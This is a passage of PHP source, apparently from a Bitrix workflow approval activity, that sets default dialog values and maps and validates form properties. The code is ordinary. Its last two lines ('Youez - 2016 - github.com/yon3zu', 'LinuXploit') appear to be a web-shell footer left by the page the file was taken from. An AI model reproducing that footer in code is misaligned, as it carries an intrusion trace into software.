									$arCurrentValues['timeout_duration'] = $arCurrentValues['timeout_duration'] / (3600 * 24);
									$arCurrentValues['timeout_duration_type'] = 'd';
								}
								elseif ($arCurrentValues['timeout_duration'] % 3600 == 0)
								{
									$arCurrentValues['timeout_duration'] = $arCurrentValues['timeout_duration'] / 3600;
									$arCurrentValues['timeout_duration_type'] = 'h';
								}
								elseif ($arCurrentValues['timeout_duration'] % 60 == 0)
								{
									$arCurrentValues['timeout_duration'] = $arCurrentValues['timeout_duration'] / 60;
									$arCurrentValues['timeout_duration_type'] = 'm';
								}
							}
						}
						else
						{
							$arCurrentValues[$arMap[$k]] = $arCurrentActivity['Properties'][$k];
						}
					}
					else
					{
						if (!is_array($arCurrentValues) || !array_key_exists($arMap[$k], $arCurrentValues))
						{
							$arCurrentValues[$arMap[$k]] = '';
						}
					}
				}
			}
			else
			{
				foreach ($arMap as $k => $v)
				{
					$arCurrentValues[$arMap[$k]] = '';
				}
			}

			if($arCurrentValues['approve_wait'] == '')
			{
				$arCurrentValues['approve_wait'] = 'N';
			}

			if($arCurrentValues['approve_percent'] == '')
			{
				$arCurrentValues['approve_percent'] = '50';
			}
		}

		if ($arCurrentValues['status_message'] == '')
		{
			$arCurrentValues['status_message'] = Loc::getMessage('BPAA_ACT_INFO');
		}
		if ($arCurrentValues['task_button1_message'] == '')
		{
			$arCurrentValues['task_button1_message'] = Loc::getMessage('BPAA_ACT_BUTTON1');
		}
		if ($arCurrentValues['task_button2_message'] == '')
		{
			$arCurrentValues['task_button2_message'] = Loc::getMessage('BPAA_ACT_BUTTON2_MSGVER_1');
		}
		if ($arCurrentValues['comment_label_message'] == '')
		{
			$arCurrentValues['comment_label_message'] = Loc::getMessage('BPAA_ACT_COMMENT_1');
		}
		if ($arCurrentValues['timeout_duration_type'] == '')
		{
			$arCurrentValues['timeout_duration_type'] = 's';
		}

		$documentService = $runtime->GetService('DocumentService');
		$arDocumentFields = $documentService->GetDocumentFields($documentType);

		return $runtime->ExecuteResourceFile(
			__FILE__,
			'properties_dialog.php',
			[
				'arCurrentValues' => $arCurrentValues,
				'arDocumentFields' => $arDocumentFields,
				'formName' => $formName,
			]
		);
	}

	public static function GetPropertiesDialogValues(
		$documentType,
		$activityName,
		&$arWorkflowTemplate,
		&$arWorkflowParameters,
		&$arWorkflowVariables,
		$arCurrentValues,
		&$arErrors
	)
	{
		$arErrors = [];

		$runtime = CBPRuntime::GetRuntime();

		$arMap = [
			'approve_users' => 'Users',
			'approve_type' => 'ApproveType',
			'approve_overdue_date' => 'OverdueDate',
			'approve_percent' => 'ApproveMinPercent',
			'approve_wait' => 'ApproveWaitForAll',
			'approve_name' => 'Name',
			'approve_description' => 'Description',
			'approve_parameters' => 'Parameters',
			'status_message' => 'StatusMessage',
			'set_status_message' => 'SetStatusMessage',
			'timeout_duration' => 'TimeoutDuration',
			'timeout_duration_type' => 'TimeoutDurationType',
			'task_button1_message' => 'TaskButton1Message',
			'task_button2_message' => 'TaskButton2Message',
			'comment_label_message' => 'CommentLabelMessage',
			'show_comment' => 'ShowComment',
			'comment_required' => 'CommentRequired',
			'access_control' => 'AccessControl',
			'delegation_type' => 'DelegationType',
		];

		$arProperties = [];
		foreach ($arMap as $key => $value)
		{
			if ($key == 'approve_users')
			{
				continue;
			}

			if (!empty($arCurrentValues[$key . '_X']))
			{
				$arProperties[$value] = $arCurrentValues[$key . '_X'];
			}
			else
			{
				$arProperties[$value] = $arCurrentValues[$key] ?? null;
			}
		}

		$arProperties['Users'] = CBPHelper::usersStringToArray(
			$arCurrentValues['approve_users'],
			$documentType,
			$arErrors
		);
		if (count($arErrors) > 0)
		{
			return false;
		}

		$arErrors = self::validateProperties($arProperties,
			new CBPWorkflowTemplateUser(CBPWorkflowTemplateUser::CurrentUser));
		if (count($arErrors) > 0)
		{
			return false;
		}

		$arCurrentActivity = &CBPWorkflowTemplateLoader::FindActivityByName($arWorkflowTemplate, $activityName);
		$arCurrentActivity['Properties'] = $arProperties;

		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit